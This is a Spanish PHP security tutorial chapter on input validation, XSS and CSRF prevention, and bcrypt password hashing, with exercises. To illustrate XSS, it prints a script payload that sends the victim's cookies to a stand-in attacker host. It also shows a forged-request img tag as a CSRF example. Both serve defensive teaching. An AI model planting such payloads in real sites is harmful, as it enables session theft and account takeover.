Seguridad en PHP. Cuando nos enfrentamos a manejar datos sensibles de usuarios —como contraseñas, correos electrónicos o información financiera— la seguridad se vuelve en el pilar fundamental del desarrollo. Sin una adecuada protección, nuestra aplicación puede quedar expuesta a ataques comunes como la inyección de código malicioso, el robo de sesiones, o el acceso no autorizado a datos.
Este capítulo abordararemos las prácticas esenciales para hacer nuestras aplicaciones PHP más seguras frente a amenazas comunes del entorno web. Veremos cómo manejar correctamente la entrada de datos de los usuarios, protegernos contra ataques como XSS (Cross-site Scripting) y CSRF (Cross-Site Request Forgery), y cómo proteger contraseñas con técnicas como el hashing con bcrypt. Empezamos!!!
14.1 Manejo seguro de datos de usuario
El manejo de datos introducidos por el usuario es uno de los aspectos más críticos en la seguridad de cualquier aplicación web. Todo dato que proviene de un formulario, una URL, una cookie o incluso de una cabecera HTTP, debe considerarse potencialmente malicioso, y por ello, requiere de un tratamiento adecuado.
En este apartado veremos las herramientas que PHP proporciona para validar, filtrar, y asegurar los datos de entrada.
¿Por qué es importante validar y sanear datos de usuario?
Supongamos que tienes un formulario de contacto donde el usuario introduce su nombre y mensaje. Si tú simplemente tomas esos datos y los insertas directamente en la base de datos o los muestras en pantalla sin filtrarlos, corres el riesgo de permitir a un atacante:
- Ejecutar consultas SQL maliciosas (inyección SQL).
- Inyectar scripts que se ejecuten en el navegador de otros usuarios (XSS).
- Corromper la estructura HTML o la lógica de tu aplicación.
En resumen: nunca debes confiar en los datos introducidos por el usuario.
Herramientas de PHP para validar y sanear datos
PHP ofrece diferentes formas de manejar los datos que ingresan a través de formularios y otros medios, veamos algunos:
1. filter_input()
y filter_var()
Estas funciones permiten validar y sanear datos de entrada de forma segura.
➤ filter_input()
Sirve para obtener un valor desde una entrada externa (como $_GET
, $_POST
, $_COOKIE
, etc.) y validarlo o sanearlo en un solo paso.
Ejemplo: Validar una dirección de email desde un formulario
$email = filter_input(INPUT_POST, "email", FILTER_VALIDATE_EMAIL);
if ($email === false) {
echo "Correo no válido.";
} else {
echo "Correo válido: $email";
}
Como puedes ver, filter_input ya se encarga de comprobar que el formato del email es correcto, es capaz de comprobar que ell formato estructura nombre_emial@dominio.xxx.
➤ filter_var()
Se usa para aplicar filtros directamente sobre una variable ya existente.
$nombre = "<h1>Pedro</h1>";
$nombre_limpio = filter_var($nombre, FILTER_SANITIZE_STRING); // Elimina etiquetas HTML
echo $nombre_limpio; // Muestra: Pedro
@Tip: A partir de PHP 8.1,
FILTER_SANITIZE_STRING
está obsoleto. Se recomienda usar otras funciones comostrip_tags()
ohtmlspecialchars()
.
✅ Validación vs. Saneamiento
Concepto | Qué hace | Ejemplo |
---|---|---|
Validación | Verifica que el dato cumpla una estructura o formato específico | FILTER_VALIDATE_EMAIL |
Saneamiento | Limpia el dato eliminando o modificando caracteres peligrosos | FILTER_SANITIZE_SPECIAL_CHARS |
A continuación veamos unas tablas con todos los filtros de Saneamiento y Validación.
Fltros de Saneamiento.
Constante | Descripción |
---|---|
FILTER_SANITIZE_EMAIL | Elimina caracteres no permitidos en una dirección de correo electrónico. |
FILTER_SANITIZE_ENCODED | Codifica una cadena para que sea segura en una URL (codificación URL). |
FILTER_SANITIZE_MAGIC_QUOTES | Aplica addslashes() a una cadena (obsoleto desde PHP 7.3). |
FILTER_SANITIZE_NUMBER_FLOAT | Elimina todo excepto números, + , - , . y e (útil para números decimales). |
FILTER_SANITIZE_NUMBER_INT | Elimina todo excepto dígitos, signos + y - . |
FILTER_SANITIZE_SPECIAL_CHARS | Convierte caracteres especiales en entidades HTML (como < a < ). |
FILTER_SANITIZE_FULL_SPECIAL_CHARS | Similar al anterior pero convierte comillas también. |
FILTER_SANITIZE_STRING | Elimina etiquetas HTML y caracteres especiales (obsoleto desde PHP 8.1). |
FILTER_SANITIZE_STRIPPED | Alias de FILTER_SANITIZE_STRING (obsoleto desde PHP 8.1). |
FILTER_SANITIZE_URL | Elimina caracteres no válidos en una URL. |
Filtros de Validación
Constante | Descripción |
---|---|
FILTER_VALIDATE_BOOLEAN | Valida como booleano. Acepta «1», «true», «on», «yes», «0», «false», «off», «no». Devuelve true o false . |
FILTER_VALIDATE_EMAIL | Valida que el valor sea un email con formato válido. |
FILTER_VALIDATE_FLOAT | Valida que sea un número decimal (permite configurar opciones como separador decimal). |
FILTER_VALIDATE_INT | Valida que sea un número entero. |
FILTER_VALIDATE_IP | Valida una dirección IP. Puedes usar flags para limitar a IPv4 o IPv6. |
FILTER_VALIDATE_MAC | Valida una dirección MAC. |
FILTER_VALIDATE_REGEXP | Valida mediante una expresión regular personalizada (options['regexp'] ). |
FILTER_VALIDATE_URL | Valida una URL. También puede usar flags como FILTER_FLAG_PATH_REQUIRED . |
Flags Adicionales (opciones modificadoras)
Estas se usan como parte del parámetro flags
en filter_var()
o filter_input()
:
Constante | Aplicable a | Descripción |
---|---|---|
FILTER_FLAG_ALLOW_FRACTION | FILTER_VALIDATE_FLOAT | Permite el uso del punto decimal. |
FILTER_FLAG_ALLOW_THOUSAND | FILTER_VALIDATE_FLOAT , FILTER_VALIDATE_INT | Permite el uso de comas como separador de miles. |
FILTER_FLAG_ALLOW_SCIENTIFIC | FILTER_VALIDATE_FLOAT | Permite notación científica (ej. 1e3 ). |
FILTER_FLAG_NO_ENCODE_QUOTES | FILTER_SANITIZE_SPECIAL_CHARS | No codifica comillas. |
FILTER_FLAG_STRIP_LOW | Saneadores | Elimina caracteres con valor ASCII < 32. |
FILTER_FLAG_STRIP_HIGH | Saneadores | Elimina caracteres con valor ASCII > 127. |
FILTER_FLAG_STRIP_BACKTICK | FILTER_SANITIZE_ENCODED | Elimina el carácter de tilde invertida ` . |
FILTER_FLAG_ENCODE_LOW | FILTER_SANITIZE_ENCODED | Codifica caracteres ASCII < 32. |
FILTER_FLAG_ENCODE_HIGH | FILTER_SANITIZE_ENCODED | Codifica caracteres ASCII > 127. |
FILTER_FLAG_ENCODE_AMP | FILTER_SANITIZE_ENCODED | Codifica el carácter & . |
FILTER_FLAG_IPV4 | FILTER_VALIDATE_IP | Valida sólo direcciones IPv4. |
FILTER_FLAG_IPV6 | FILTER_VALIDATE_IP | Valida sólo direcciones IPv6. |
FILTER_FLAG_NO_RES_RANGE | FILTER_VALIDATE_IP | Rechaza rangos IP reservados. |
FILTER_FLAG_NO_PRIV_RANGE | FILTER_VALIDATE_IP | Rechaza IPs privadas (como 192.168.x.x). |
FILTER_FLAG_PATH_REQUIRED | FILTER_VALIDATE_URL | La URL debe tener una ruta (path). |
FILTER_FLAG_QUERY_REQUIRED | FILTER_VALIDATE_URL | La URL debe tener una cadena de consulta. |
FILTER_NULL_ON_FAILURE | Validadores | Retorna null en vez de false si falla la validación. |
Ejemplos prácticos
Veamos algunos ejemplos prácticos para entender mejor su funcionamiento.
Validar un número entero entre 1 y 100:
$edad = filter_input(INPUT_POST, "edad", FILTER_VALIDATE_INT, [
"options" => [
"min_range" => 1,
"max_range" => 100
]
]);
if ($edad === false) {
echo "Edad no válida";
} else {
echo "Edad válida: $edad";
}
Saneamiento de texto que viene con HTML potencialmente peligroso
$mensaje = $_POST['mensaje'];
$mensaje_seguro = htmlspecialchars($mensaje, ENT_QUOTES, 'UTF-8');
echo "Mensaje: " . $mensaje_seguro;
Esto previene que el usuario introduzca un <script>
malicioso.
Validación manual
A veces, los filtros de PHP no son suficientes y necesitas validaciones específicas, para ello puedes hacer uso de las expresiones regulares dentro de la función preg_match. Por ejemplo:
$usuario = $_POST['usuario'];
if (preg_match("/^[a-zA-Z0-9_]{5,20}$/", $usuario)) {
echo "Nombre de usuario válido";
} else {
echo "El nombre debe tener entre 5 y 20 caracteres alfanuméricos.";
}
Combina validación + mensajes personalizados
Es importante informar al usuario en caso de que haya habido un error en la validación del campo.
$correo = filter_input(INPUT_POST, "email", FILTER_VALIDATE_EMAIL);
, continuamos....
if (!$correo) {
$error = "Por favor, introduce una dirección de correo válida.";
} else {
// Proceso seguro
}
14.2 Protección contra XSS y CSRF
En este punto abordamos dos de las amenazas de seguridad más comunes y peligrosas en aplicaciones web: el Cross-Site Scripting (XSS) y el Cross-Site Request Forgery (CSRF). Ambas vulnerabilidades pueden comprometer datos sensibles, identidades de usuario, sesiones, y hasta el control de la aplicación por parte de un atacante.
¿Qué es XSS (Cross-Site Scripting)?
El Cross-Site Scripting es un tipo de ataque en el cual un atacante inyecta scripts maliciosos (por lo general, JavaScript) en sitios web. Estos scripts se ejecutan en el navegador de la víctima y pueden:
- Robar cookies de sesión.
- Redirigir a sitios maliciosos.
- Modificar el contenido mostrado en la página.
- Realizar acciones en nombre del usuario sin su consentimiento.
Ejemplo típico de ataque XSS
Supón que tienes un sistema de comentarios en tu sitio:
echo "Comentario: " . $_POST['comentario'];
Un usuario malicioso puede enviar:
<script>document.location='http://malicioso.com/robar.php?cookie='+document.cookie</script>
Si lo muestras directamente, este código se ejecutará en el navegador de cualquier usuario que vea ese comentario. Esto es un grave fallo de seguridad.
¿Cómo prevenir XSS?
Escapar cualquier contenido antes de mostrarlo en HTML
Usa htmlspecialchars()
para convertir caracteres especiales en entidades HTML:
$comentario_seguro = htmlspecialchars($_POST['comentario'], ENT_QUOTES, 'UTF-8');
echo "Comentario: " . $comentario_seguro;
Esto convierte el <script>
en:
<script>...</script>
Y evita que se ejecute como código.
Nunca mostrar entradas del usuario directamente sin filtrarlas
Aplica siempre un filtro de salida adecuado al contexto:
Contexto | Función recomendada |
---|---|
HTML | htmlspecialchars() |
Atributos HTML | Asegúrate de eliminar comillas o escaparlas |
JavaScript | No insertar datos directamente dentro de scripts |
URLs | urlencode() o rawurlencode() |
Utilizar frameworks
Muchos frameworks PHP como Laravel, Symfony o Blade Templates ya hacen escaping automático por defecto, lo que reduce drásticamente el riesgo de XSS.
Ejemplo completo con prevención XSS
<form method="post">
<label>Comentario:</label>
<input type="text" name="comentario">
<input type="submit" value="Enviar">
</form>
<?php
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$comentario = htmlspecialchars($_POST['comentario'], ENT_QUOTES, 'UTF-8');
echo "<p>Tu comentario fue: $comentario</p>";
}
¿Qué es CSRF (Cross-Site Request Forgery)?
El Cross-Site Request Forgery es un ataque en el que un usuario autenticado en un sitio web es engañado para realizar una acción no intencionada en ese sitio, sin saberlo.
El atacante crea una petición maliciosa y hace que el navegador del usuario (ya autenticado) la envíe automáticamente.
Ejemplo:
Supón que tienes un formulario para cambiar el email de un usuario:
<form method="POST" action="cambiar_email.php">
<input type="email" name="nuevo_email">
<input type="submit" value="Cambiar">
</form>
Si cambiar_email.php
no verifica la autenticidad de la petición, un atacante podría enviar desde su propio sitio:
<img src="https://tusitio.com/cambiar_email.php?nuevo_email=hacker@correo.com">
Si el usuario está autenticado, el navegador enviará la cookie de sesión automáticamente, ¡y el email será cambiado sin su consentimiento!
¿Cómo prevenir CSRF?
Usar tokens CSRF
Consiste en generar un token aleatorio único por sesión o formulario, que debe enviarse con cada petición. Si el token no está presente o es inválido, se rechaza la solicitud.
Ejemplo de implementación de protección CSRF
1º Generar el token
session_start();
if (empty($_SESSION['csrf_token'])) {
$_SESSION['csrf_token'] = bin2hex(random_bytes(32));
}
2º Incluir el token en el formulario
<form method="POST" action="procesar.php">
<input type="hidden" name="csrf_token" value="<?php echo $_SESSION['csrf_token']; ?>">
<input type="text" name="nombre">
<input type="submit" value="Enviar">
</form>
3º Verificar el token en el script que recibe los datos
session_start();
if (!hash_equals($_SESSION['csrf_token'], $_POST['csrf_token'])) {
die("Error: token CSRF inválido");
}
// Continúa con el procesamiento del formulario
hash_equals()
es importante para evitar ataques de timing.
Buenas prácticas contra CSRF
Práctica | ¿Por qué es útil? |
---|---|
Usar tokens CSRF únicos por formulario | Evita que peticiones externas puedan falsificarse |
Usar cookies de sesión con flag SameSite=Strict | Impide envío automático en navegaciones cruzadas |
No confiar nunca en que la petición viene de tu formulario | Validar token y/o referer siempre |
Resumiendo
- XSS permite a los atacantes ejecutar scripts en el navegador de tus usuarios. Siempre debes escapar la salida de los datos.
- CSRF permite a un atacante ejecutar acciones en nombre de usuarios autenticados. Puedes prevenirlo con tokens únicos y controles en el servidor.
- Ambas vulnerabilidades son muy comunes y peligrosas, pero pueden evitarse con buenas prácticas y el uso correcto de las funciones que PHP proporciona.
14.3 Hashing de contraseñas con bcrypt
Otro de los aspectos clave de la seguridad en cualquier aplicación web es el manejo adecuado de contraseñas. Almacenar contraseñas en texto plano (sin cifrar o proteger de ninguna manera) es una de las peores prácticas que se pueden cometer, y puede tener consecuencias catastróficas si la base de datos se ve comprometida.
Por eso, en este apartado aprenderemos a almacenar contraseñas de forma segura utilizando bcrypt
, un algoritmo de hashing fuerte y ampliamente recomendado para proteger contraseñas en PHP.
¿Qué es el hashing?
El hashing es un proceso unidireccional mediante el cual se transforma un texto (como una contraseña) en una cadena de caracteres irreversiblemente cifrada. A diferencia de la encriptación, el hashing no se puede revertir: no puedes obtener la contraseña original a partir del hash.
El objetivo del hashing es que incluso si un atacante accede a tu base de datos, no pueda conocer las contraseñas originales.
¿Por qué usar bcrypt
?
bcrypt
es un algoritmo de hashing que:
- Añade automáticamente una sal (salt) única a cada contraseña antes de hashearla.
- Es resistente a ataques de fuerza bruta y rainbow tables.
- Permite ajustar el coste computacional (complejidad) del proceso mediante un parámetro llamado
cost
.
PHP ofrece una función nativa que facilita mucho su uso: password_hash()
.
Ejemplo completo: Hashear y verificar contraseñas
1. Crear un hash de una contraseña
<?php
$contraseña = 'MiContraseñaSegura123';
$hash = password_hash($contraseña, PASSWORD_BCRYPT);
echo "Hash generado: " . $hash;
?>
El resultado será algo como:
$2y$10$GEt.X7K2DqxIYEVg3Nw2..RmUMqZEqYu38DqzUhhFnJrU8jJVE3dG
Este hash incluye la sal, el tipo de algoritmo y el coste.
2. Verificar una contraseña contra el hash
Para comprobar si una contraseña es válida utilizamos la función password_verify(). A esta función le facilitamos la contraseña hasheada y la contraseña a comprobar. Lo único que hace es aplicar también la función password_hash() sobre la nueva contraseña y ver si el resultado coincide con la contraseña hasheada previamente.
<?php
$contraseñaIngresada = 'MiContraseñaSegura123';
$hashGuardado = '$2y$10$GEt.X7K2DqxIYEVg3Nw2..RmUMqZEqYu38DqzUhhFnJrU8jJVE3dG';
if (password_verify($contraseñaIngresada, $hashGuardado)) {
echo "Contraseña válida";
} else {
echo "Contraseña incorrecta";
}
?>
Ajustar el coste del algoritmo
Puedes definir la «dureza» del hash aumentando el parámetro cost
, esto impactará directamente en el coste/aumento de cómputo para ejecutar la acción:
$options = ['cost' => 12];
$hash = password_hash($contraseña, PASSWORD_BCRYPT, $options);
- El valor por defecto es
10
. - Cuanto mayor el coste, más tiempo tarda en calcularse el hash, pero también es más difícil de romper.
¿Debo rehashear contraseñas con el tiempo?
Sí. Puedes usar password_needs_rehash()
para saber si una contraseña necesita ser rehasheada (por ejemplo, si cambiaste el coste):
if (password_needs_rehash($hashGuardado, PASSWORD_BCRYPT, ['cost' => 12])) {
$nuevoHash = password_hash($contraseña, PASSWORD_BCRYPT, ['cost' => 12]);
// Guardar nuevo hash en base de datos
}
Cómo se usaría en un flujo típico de registro/login
Registro:
$password = $_POST['password'];
$hash = password_hash($password, PASSWORD_BCRYPT);
// Guardar $hash en la base de datos
Inicio de sesión:
$password = $_POST['password'];
// Obtener $hashGuardado de la base de datos
if (password_verify($password, $hashGuardado)) {
echo "Acceso concedido";
} else {
echo "Credenciales incorrectas";
}
Buenas prácticas
Práctica | Descripción |
---|---|
Nunca guardes contraseñas en texto plano | Siempre hashea |
Usa password_hash() y password_verify() | Son funciones seguras y fáciles |
Ajusta el cost según el rendimiento del servidor | Balance entre seguridad y eficiencia |
Usa password_needs_rehash() cuando cambies el cost o el algoritmo |
Conclusión
- Hashear contraseñas es obligatorio para garantizar la seguridad de los usuarios.
bcrypt
es actualmente uno de los algoritmos más seguros y recomendados.- PHP proporciona funciones (
password_hash
,password_verify
) para implementar esta seguridad fácilmente.
En este capítulo hemos aprendido la importancia de aplicar medidas de seguridad en nuestras aplicaciones PHP para proteger los datos del usuario y evitar vulnerabilidades comunes. Comenzamos explorando el manejo seguro de la información que proviene del usuario, enfatizando la necesidad de validar y sanear los datos utilizando funciones como filter_input()
o htmlspecialchars()
. Luego abordamos dos de los ataques más frecuentes en entornos web: XSS (Cross-Site Scripting), que se previene escapando correctamente la salida, y CSRF (Cross-Site Request Forgery), cuya protección se logra mediante tokens únicos que se verifican en cada envío de formulario. Finalmente, analizamos el tratamiento seguro de contraseñas usando bcrypt
a través de las funciones password_hash()
y password_verify()
, evitando el uso de algoritmos obsoletos como md5
y garantizando que las contraseñas se almacenen de forma segura. Estas buenas prácticas son fundamentales para construir aplicaciones robustas, confiables y resistentes frente a ataques.
Veamos ahora unos ejercicios propuestos:
Ejercicio 1: Validar y Sanear un Formulario de Contacto
Enunciado:
Crea un formulario simple de contacto que permita introducir nombre, correo electrónico y un mensaje. Al enviarse, los datos deben ser validados y saneados correctamente para evitar inyecciones de código o caracteres maliciosos.
Enunciado:
Crea un formulario simple de contacto que permita introducir nombre, correo electrónico y un mensaje. Al enviarse, los datos deben ser validados y saneados correctamente para evitar inyecciones de código o caracteres maliciosos.
Código:
<?php
$errores = [];
$nombre = $email = $mensaje = "";
if ($_SERVER["REQUEST_METHOD"] === "POST") {
// Validación y saneamiento
$nombre = filter_input(INPUT_POST, "nombre", FILTER_SANITIZE_FULL_SPECIAL_CHARS);
$email = filter_input(INPUT_POST, "email", FILTER_VALIDATE_EMAIL);
$mensaje = htmlspecialchars(trim($_POST["mensaje"]));
if (!$email) {
$errores[] = "El correo electrónico no es válido.";
}
if (empty($mensaje)) {
$errores[] = "El mensaje no puede estar vacío.";
}
if (empty($errores)) {
echo "<p>Formulario recibido correctamente.</p>";
echo "<p><strong>Nombre:</strong> $nombre</p>";
echo "<p><strong>Email:</strong> $email</p>";
echo "<p><strong>Mensaje:</strong> $mensaje</p>";
}
}
?>
<form method="POST">
Nombre: <input type="text" name="nombre"><br>
Email: <input type="email" name="email"><br>
Mensaje: <textarea name="mensaje"></textarea><br>
<button type="submit">Enviar</button>
</form>
Explicación:
Este formulario filtra el nombre usando FILTER_SANITIZE_FULL_SPECIAL_CHARS
, valida el correo con FILTER_VALIDATE_EMAIL
y escapa el mensaje manualmente. Así evitamos ataques como XSS y aseguramos que los datos procesados estén limpios.
Ejercicio 2: Protección contra CSRF
Enunciado:
Implementa un formulario con token CSRF para evitar que sea enviado por un tercero sin el consentimiento del usuario.
Enunciado:
Implementa un formulario con token CSRF para evitar que sea enviado por un tercero sin el consentimiento del usuario.
Código:
<?php
session_start();
// Generar token CSRF
if (empty($_SESSION['csrf_token'])) {
$_SESSION['csrf_token'] = bin2hex(random_bytes(32));
}
$mensaje = "";
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
if (hash_equals($_SESSION['csrf_token'], $_POST['csrf_token'])) {
$mensaje = "Formulario enviado correctamente con protección CSRF.";
} else {
$mensaje = "Error: Token CSRF inválido.";
}
}
?>
<form method="POST">
<input type="hidden" name="csrf_token" value="<?= $_SESSION['csrf_token'] ?>">
<input type="text" name="dato" placeholder="Introduce algo...">
<button type="submit">Enviar</button>
</form>
<p><?= $mensaje ?></p>
Explicación:
Este ejemplo genera un token único por sesión y lo compara con el token enviado en el formulario. Si no coinciden, se evita el procesamiento de los datos, protegiendo contra ataques CSRF.
Ejercicio 3: Registro Seguro con Hash de Contraseña
Enunciado:
Crea un formulario de registro donde el usuario introduzca una contraseña. Al enviarse, la contraseña debe ser hasheada con password_hash()
y almacenada (simulada aquí en pantalla).
Enunciado:
Crea un formulario de registro donde el usuario introduzca una contraseña. Al enviarse, la contraseña debe ser hasheada con
password_hash()
y almacenada (simulada aquí en pantalla).Código:
<?php
$hash = "";
if ($_SERVER["REQUEST_METHOD"] === "POST") {
$password = $_POST['password'];
// Crear hash seguro
$hash = password_hash($password, PASSWORD_DEFAULT);
echo "<p>Contraseña hasheada: $hash</p>";
}
?>
<form method="POST">
Contraseña: <input type="password" name="password">
<button type="submit">Registrar</button>
</form>
Explicación:
Este código utiliza password_hash()
con PASSWORD_DEFAULT
, que por defecto usa el algoritmo bcrypt. El resultado es un hash seguro que se podría guardar en la base de datos. Las contraseñas nunca deben almacenarse en texto plano.
Bibliografía de programación en PHP.
- Aprende PHP desde Cero: Todo lo que necesitas para programar en PHP. Autor: Gerardo G. Urtiaga (Editorial: Editorior Independiente)
- PHP y MySQL: Domine el desarrollo de un sitio web dinámico e interactivo. Autor: Olivier Heurtel (Editorial: Ediciones ENI)
- PHP 8: Programación de aplicaciones web en el servidor: Guía paso a paso con ejemplos y proyectos prácticos. Autor: Jose Vicente Cerratlá.